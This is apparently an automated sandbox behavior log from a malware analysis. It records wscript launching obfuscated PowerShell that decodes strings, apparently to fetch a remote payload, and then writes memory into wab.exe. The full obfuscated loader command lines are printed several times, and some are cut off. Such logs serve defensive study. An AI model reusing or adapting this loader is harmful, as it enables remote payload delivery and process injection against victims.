Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 40E0000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2E7F8C4			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes';if (${host}.currentculture) {$almengjorde++;}function sprge($kalkunernes){$batterdock=$kalkunernes.length-$almengjorde;$experientialistic='substri';$experientialistic+='ng';for( $ricabooracker=2;$ricabooracker -lt $batterdock;$ricabooracker+=3){$labeler+=$kalkunernes.$experientialistic.invoke( $ricabooracker, $almengjorde);}$labeler;}function dkvingen($smaaborgerligeres){ & ($hektoliters) ($smaaborgerligeres);}$omsorgsfuldere=sprge 'b,mspoinzbaiamlbal.ua,e/gu5mu.he0a .i(,ew ,iblnindaroscwp ssk enn.rtfo 1di0he.d.0rn;sp fiw ailant 6 r4.e;bo adxsu6gi4ad;wi rhranvas:pl1he2tr1mi..r0su)al geg leskcu.k aona/c,2pe0fa1pr0.e0ot1an0om1ag infa,i fr,uelafsuohexb,/ne1 d2 ,1 u. ,0b, ';$theorize=sprge 'biu,is .estran-l a eg,resunyat h ';$archaiser=sprge 'hahfet.ut dp ss c: a/ta/ .dlar riudvpoes,.degruof,o og.ylkae k.foc mo,rmsj/reupacne?ase,oxtep.eo trshter=sedseok.wvinshlkyoulastd,n& bipedk.= m1 ,-f.zty0ral m_f 0e mprgbuutrlsoc cocy-br5 tekoo nls z.kq ltkns lulilsa5 su.rzsng npt.xl psihsi_li ';$pediococci150=sprge 'br>p. ';$hektoliters=sprge 'priheeayxun ';$koksede='amar';$doktordisputatsen = sprge ',aemacruhhao l ,a%b.a.hphep .dk a dtm,are% a\s.ft.oa.laekmiehes nlexaseg ,ecrtd.. .o,up,di,y co&fo&fu m,e cdeht odo unts. ';dkvingen (sprge 've$ ,gnelruofabsrapilce:besett .aspta ic o sn,lcbaaf.r .edunl =s,( bchomefdem de/ nc , b$i,defokeka.turorerdidbrikls ap,aucatp,agatafs .e cnle) z ');dkvingen (sprge ' ,$,egdel.ao ,bina ,lsa: mes n rgdalp eu s rkk a,ir tekos,a=va$jua .r .cflh ,aunisks le nrud. ds ,pfaljuis t .( m$unp .eandb,i o bcpyo.tc scfoi p1sc5 t0 s)ek ');dkvingen (sprge ' y[ nc e ,tpr. iscaepar.rv.ii.ec .eilpkoo oi rnratclm ta.pnacavigsaererch],e:ek: aspaek.c mu .r pienthjy tpgar aointquovic,uo vl =in [ n ee itpr. .shoe bccou trmyi htomy.ipudrskop.t ovac o elartklyopp hepr],i:ud:cotn,lf sno1 v2 k ');$archaiser=$engleskares[0];$merocele= (sprge 'f $angbelspoexb.naomlne:urb ,frul festnre=ukn,le owba-promab.ljute,rcvetfr f.sa.y nsr tpreinm,e.grnboeintb..elwfremybpecepluni be jn tt');$merocele+=$stationcaren[1];dkvingen ($merocele);dkvingen (sprge ',o$nubu.f olsueren ,.k h,me ra,odapenorfos .[ p$stt phdee solir.rituzc e,o]es=fi$ okom ,su.ostrm.gvrsbrf uur,lsmd.heharspe h ');$kundetilfredshedsgarantiernes=sprge ' ,$ abvefdalbieganem.kidt,o fw.nnsul nonua sd .f kida
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "cls;write 'labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes';if (${host}.currentculture) {$almengjorde++;}function sprge($kalkunernes){$batterdock=$kalkunernes.length-$almengjorde;$experientialistic='substri';$experientialistic+='ng';for( $ricabooracker=2;$ricabooracker -lt $batterdock;$ricabooracker+=3){$labeler+=$kalkunernes.$experientialistic.invoke( $ricabooracker, $almengjorde);}$labeler;}function dkvingen($smaaborgerligeres){ & ($hektoliters) ($smaaborgerligeres);}$omsorgsfuldere=sprge 'b,mspoinzbaiamlbal.ua,e/gu5mu.he0a .i(,ew ,iblnindaroscwp ssk enn.rtfo 1di0he.d.0rn;sp fiw ailant 6 r4.e;bo adxsu6gi4ad;wi rhranvas:pl1he2tr1mi..r0su)al geg leskcu.k aona/c,2pe0fa1pr0.e0ot1an0om1ag infa,i fr,uelafsuohexb,/ne1 d2 ,1 u. ,0b, ';$theorize=sprge 'biu,is .estran-l a eg,resunyat h ';$archaiser=sprge 'hahfet.ut dp ss c: a/ta/ .dlar riudvpoes,.degruof,o og.ylkae k.foc mo,rmsj/reupacne?ase,oxtep.eo trshter=sedseok.wvinshlkyoulastd,n& bipedk.= m1 ,-f.zty0ral m_f 0e mprgbuutrlsoc cocy-br5 tekoo nls z.kq ltkns lulilsa5 su.rzsng npt.xl psihsi_li ';$pediococci150=sprge 'br>p. ';$hektoliters=sprge 'priheeayxun ';$koksede='amar';$doktordisputatsen = sprge ',aemacruhhao l ,a%b.a.hphep .dk a dtm,are% a\s.ft.oa.laekmiehes nlexaseg ,ecrtd.. .o,up,di,y co&fo&fu m,e cdeht odo unts. ';dkvingen (sprge 've$ ,gnelruofabsrapilce:besett .aspta ic o sn,lcbaaf.r .edunl =s,( bchomefdem de/ nc , b$i,defokeka.turorerdidbrikls ap,aucatp,agatafs .e cnle) z ');dkvingen (sprge ' ,$,egdel.ao ,bina ,lsa: mes n rgdalp eu s rkk a,ir tekos,a=va$jua .r .cflh ,aunisks le nrud. ds ,pfaljuis t .( m$unp .eandb,i o bcpyo.tc scfoi p1sc5 t0 s)ek ');dkvingen (sprge ' y[ nc e ,tpr. iscaepar.rv.ii.ec .eilpkoo oi rnratclm ta.pnacavigsaererch],e:ek: aspaek.c mu .r pienthjy tpgar aointquovic,uo vl =in [ n ee itpr. .shoe bccou trmyi htomy.ipudrskop.t ovac o elartklyopp hepr],i:ud:cotn,lf sno1 v2 k ');$archaiser=$engleskares[0];$merocele= (sprge 'f $angbelspoexb.naomlne:urb ,frul festnre=ukn,le owba-promab.ljute,rcvetfr f.sa.y nsr tpreinm,e.grnboeintb..elwfremybpecepluni be jn tt');$merocele+=$stationcaren[1];dkvingen ($merocele);dkvingen (sprge ',o$nubu.f olsueren ,.k h,me ra,odapenorfos .[ p$stt phdee solir.rituzc e,o]es=fi$ okom ,su.ostrm.gvrsbrf uur,lsmd.heharspe h ');$kundetilfredshedsgarantiernes=sprge ' ,$ abvefdalbieganem.kidt,o fw.nnsul nonua sd .f kida
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes';if (${host}.currentculture) {$almengjorde++;}function sprge($kalkunernes){$batterdock=$kalkunernes.length-$almengjorde;$experientialistic='substri';$experientialistic+='ng';for( $ricabooracker=2;$ricabooracker -lt $batterdock;$ricabooracker+=3){$labeler+=$kalkunernes.$experientialistic.invoke( $ricabooracker, $almengjorde);}$labeler;}function dkvingen($smaaborgerligeres){ & ($hektoliters) ($smaaborgerligeres);}$omsorgsfuldere=sprge 'b,mspoinzbaiamlbal.ua,e/gu5mu.he0a .i(,ew ,iblnindaroscwp ssk enn.rtfo 1di0he.d.0rn;sp fiw ailant 6 r4.e;bo adxsu6gi4ad;wi rhranvas:pl1he2tr1mi..r0su)al geg leskcu.k aona/c,2pe0fa1pr0.e0ot1an0om1ag infa,i fr,uelafsuohexb,/ne1 d2 ,1 u. ,0b, ';$theorize=sprge 'biu,is .estran-l a eg,resunyat h ';$archaiser=sprge 'hahfet.ut dp ss c: a/ta/ .dlar riudvpoes,.degruof,o og.ylkae k.foc mo,rmsj/reupacne?ase,oxtep.eo trshter=sedseok.wvinshlkyoulastd,n& bipedk.= m1 ,-f.zty0ral m_f 0e mprgbuutrlsoc cocy-br5 tekoo nls z.kq ltkns lulilsa5 su.rzsng npt.xl psihsi_li ';$pediococci150=sprge 'br>p. ';$hektoliters=sprge 'priheeayxun ';$koksede='amar';$doktordisputatsen = sprge ',aemacruhhao l ,a%b.a.hphep .dk a dtm,are% a\s.ft.oa.laekmiehes nlexaseg ,ecrtd.. .o,up,di,y co&fo&fu m,e cdeht odo unts. ';dkvingen (sprge 've$ ,gnelruofabsrapilce:besett .aspta ic o sn,lcbaaf.r .edunl =s,( bchomefdem de/ nc , b$i,defokeka.turorerdidbrikls ap,aucatp,agatafs .e cnle) z ');dkvingen (sprge ' ,$,egdel.ao ,bina ,lsa: mes n rgdalp eu s rkk a,ir tekos,a=va$jua .r .cflh ,aunisks le nrud. ds ,pfaljuis t .( m$unp .eandb,i o bcpyo.tc scfoi p1sc5 t0 s)ek ');dkvingen (sprge ' y[ nc e ,tpr. iscaepar.rv.ii.ec .eilpkoo oi rnratclm ta.pnacavigsaererch],e:ek: aspaek.c mu .r pienthjy tpgar aointquovic,uo vl =in [ n ee itpr. .shoe bccou trmyi htomy.ipudrskop.t ovac o elartklyopp hepr],i:ud:cotn,lf sno1 v2 k ');$archaiser=$engleskares[0];$merocele= (sprge 'f $angbelspoexb.naomlne:urb ,frul festnre=ukn,le owba-promab.ljute,rcvetfr f.sa.y nsr tpreinm,e.grnboeintb..elwfremybpecepluni be jn tt');$merocele+=$stationcaren[1];dkvingen ($merocele);dkvingen (sprge ',o$nubu.f olsueren ,.k h,me ra,odapenorfos .[ p$stt phdee solir.rituzc e,o]es=fi$ okom ,su.ostrm.gvrsbrf uur,lsmd.heharspe h ');$kundetilfredshedsgarantiernes=sprge ' ,$ abvefdalbieganem.kidt,o fw.nnsul nonua sd .f kida	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "cls;write 'labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes labeler esmeralda prepious engleskares archaiser dolphinfishes150 pungi amar sjlesorger shopkeeper nephrostomy mainframes raninae kobberbrylluppet firethorn smlds outslander praedikaterne ublufrdigste sejlklubbers amtsskatteinspektoratet nondecoration235 topminnow interveneredes';if (${host}.currentculture) {$almengjorde++;}function sprge($kalkunernes){$batterdock=$kalkunernes.length-$almengjorde;$experientialistic='substri';$experientialistic+='ng';for( $ricabooracker=2;$ricabooracker -lt $batterdock;$ricabooracker+=3){$labeler+=$kalkunernes.$experientialistic.invoke( $ricabooracker, $almengjorde);}$labeler;}function dkvingen($smaaborgerligeres){ & ($hektoliters) ($smaaborgerligeres);}$omsorgsfuldere=sprge 'b,mspoinzbaiamlbal.ua,e/gu5mu.he0a .i(,ew ,iblnindaroscwp ssk enn.rtfo 1di0he.d.0rn;sp fiw ailant 6 r4.e;bo adxsu6gi4ad;wi rhranvas:pl1he2tr1mi..r0su)al geg leskcu.k aona/c,2pe0fa1pr0.e0ot1an0om1ag infa,i fr,uelafsuohexb,/ne1 d2 ,1 u. ,0b, ';$theorize=sprge 'biu,is .estran-l a eg,resunyat h ';$archaiser=sprge 'hahfet.ut dp ss c: a/ta/ .dlar riudvpoes,.degruof,o og.ylkae k.foc mo,rmsj/reupacne?ase,oxtep.eo trshter=sedseok.wvinshlkyoulastd,n& bipedk.= m1 ,-f.zty0ral m_f 0e mprgbuutrlsoc cocy-br5 tekoo nls z.kq ltkns lulilsa5 su.rzsng npt.xl psihsi_li ';$pediococci150=sprge 'br>p. ';$hektoliters=sprge 'priheeayxun ';$koksede='amar';$doktordisputatsen = sprge ',aemacruhhao l ,a%b.a.hphep .dk a dtm,are% a\s.ft.oa.laekmiehes nlexaseg ,ecrtd.. .o,up,di,y co&fo&fu m,e cdeht odo unts. ';dkvingen (sprge 've$ ,gnelruofabsrapilce:besett .aspta ic o sn,lcbaaf.r .edunl =s,( bchomefdem de/ nc , b$i,defokeka.turorerdidbrikls ap,aucatp,agatafs .e cnle) z ');dkvingen (sprge ' ,$,egdel.ao ,bina ,lsa: mes n rgdalp eu s rkk a,ir tekos,a=va$jua .r .cflh ,aunisks le nrud. ds ,pfaljuis t .( m$unp .eandb,i o bcpyo.tc scfoi p1sc5 t0 s)ek ');dkvingen (sprge ' y[ nc e ,tpr. iscaepar.rv.ii.ec .eilpkoo oi rnratclm ta.pnacavigsaererch],e:ek: aspaek.c mu .r pienthjy tpgar aointquovic,uo vl =in [ n ee itpr. .shoe bccou trmyi htomy.ipudrskop.t ovac o elartklyopp hepr],i:ud:cotn,lf sno1 v2 k ');$archaiser=$engleskares[0];$merocele= (sprge 'f $angbelspoexb.naomlne:urb ,frul festnre=ukn,le owba-promab.ljute,rcvetfr f.sa.y nsr tpreinm,e.grnboeintb..elwfremybpecepluni be jn tt');$merocele+=$stationcaren[1];dkvingen ($merocele);dkvingen (sprge ',o$nubu.f olsueren ,.k h,me ra,odapenorfos .[ p$stt phdee solir.rituzc e,o]es=fi$ okom ,su.ostrm.gvrsbrf uur,lsmd.heharspe h ');$kundetilfredshedsgarantiernes=sprge ' ,$ abvefdalbieganem.kidt,o fw.nnsul nonua sd .f kida	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
